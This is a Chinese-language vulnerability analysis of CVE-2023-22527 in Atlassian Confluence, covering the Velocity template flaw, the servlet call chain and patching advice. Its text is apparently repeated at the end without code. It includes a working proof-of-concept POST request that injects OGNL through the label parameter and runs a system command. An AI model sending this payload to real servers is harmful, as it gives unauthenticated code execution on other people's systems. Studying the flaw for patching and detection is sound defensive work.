Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)
字数 1147 2025-08-18 11:36:47

Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)技术分析文档

漏洞概述

Atlassian Confluence 是一款广泛使用的企业团队协作和知识管理软件。CVE-2023-22527 是一个高危的远程代码执行漏洞,攻击者可在无需登录的情况下,通过构造恶意请求利用Velocity模板注入实现远程代码执行。

影响版本

  • 8.5.0 ≤ version ≤ 8.5.3
  • 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x

漏洞成因

漏洞位于/template/aui/text-inline.vm文件中,该文件可直接通过URL访问。文件中存在不安全的Velocity模板代码:

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

攻击者可通过控制label参数注入恶意OGNL表达式,由于缺乏适当的过滤和沙箱限制,导致任意代码执行。

技术分析

漏洞调用链

  1. 请求首先由ConfluenceVelocityServlet处理
  2. doRequest()方法创建上下文并处理请求
  3. handleRequest()从URI获取vm文件路径并返回模板对象
  4. mergeTemplate()创建新的PageContext并准备输出
  5. template.merge()执行模板渲染
  6. 最终通过ASTReference#execute()OgnlValueStack.findValue()执行注入的OGNL表达式

关键代码分析

  1. ConfluenceVelocityServlet处理流程:
protected void doRequest(HttpServletRequest request, HttpServletResponse response) {
    Context context = this.createContext(request, response);
    this.setContentType(request, response);
    Template template = this.handleRequest(request, response, context);
    if (template != null) {
        this.mergeTemplate(template, context, response);
    }
}
  1. 模板合并过程:
protected void mergeTemplate(Template template, Context context, HttpServletResponse response) {
    // 获取PageContext和输出流
    PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
    Writer writer = pageContext.getOut();
    // 执行模板合并
    template.merge(context, writer);
}
  1. OGNL表达式执行:
    最终通过OgnlValueStack.findValue()执行注入的表达式,绕过Struts沙箱限制。

漏洞利用方法

通过研究发现,对于Velocity模板引擎,可以使用以下方法绕过限制:

.KEY_velocity.struts2.context -> (StrutsVelocityContext)

利用org.apache.struts2.views.jsp.ui.OgnlTool类在没有OgnlContext的情况下调用Ognl.getValue(),从而绕过Struts的沙箱限制。

POC示例

POST /template/aui/text-inline.vm HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

此POC会执行系统命令id并将结果放在响应头中。

修复建议

  1. 立即升级到不受影响的Confluence版本
  2. 临时缓解措施:
    • 限制对/template/aui/text-inline.vm的访问
    • 实施Web应用防火墙规则拦截可疑的Velocity模板注入尝试
  3. 对用户输入进行严格的过滤和验证

总结

CVE-2023-22527是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于Velocity模板中不安全的OGNL表达式执行,结合Struts框架的特性绕过安全限制。企业应立即采取措施修补此漏洞,防止潜在的大规模攻击。

Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)技术分析文档 漏洞概述 Atlassian Confluence 是一款广泛使用的企业团队协作和知识管理软件。CVE-2023-22527 是一个高危的远程代码执行漏洞,攻击者可在无需登录的情况下,通过构造恶意请求利用Velocity模板注入实现远程代码执行。 影响版本 8.5.0 ≤ version ≤ 8.5.3 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x 漏洞成因 漏洞位于 /template/aui/text-inline.vm 文件中,该文件可直接通过URL访问。文件中存在不安全的Velocity模板代码: 攻击者可通过控制 label 参数注入恶意OGNL表达式,由于缺乏适当的过滤和沙箱限制,导致任意代码执行。 技术分析 漏洞调用链 请求首先由 ConfluenceVelocityServlet 处理 doRequest() 方法创建上下文并处理请求 handleRequest() 从URI获取vm文件路径并返回模板对象 mergeTemplate() 创建新的PageContext并准备输出 template.merge() 执行模板渲染 最终通过 ASTReference#execute() 和 OgnlValueStack.findValue() 执行注入的OGNL表达式 关键代码分析 ConfluenceVelocityServlet处理流程 : 模板合并过程 : OGNL表达式执行 : 最终通过 OgnlValueStack.findValue() 执行注入的表达式,绕过Struts沙箱限制。 漏洞利用方法 通过研究发现,对于Velocity模板引擎,可以使用以下方法绕过限制: 利用 org.apache.struts2.views.jsp.ui.OgnlTool 类在没有OgnlContext的情况下调用 Ognl.getValue() ,从而绕过Struts的沙箱限制。 POC示例 此POC会执行系统命令 id 并将结果放在响应头中。 修复建议 立即升级到不受影响的Confluence版本 临时缓解措施: 限制对 /template/aui/text-inline.vm 的访问 实施Web应用防火墙规则拦截可疑的Velocity模板注入尝试 对用户输入进行严格的过滤和验证 总结 CVE-2023-22527是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于Velocity模板中不安全的OGNL表达式执行,结合Struts框架的特性绕过安全限制。企业应立即采取措施修补此漏洞,防止潜在的大规模攻击。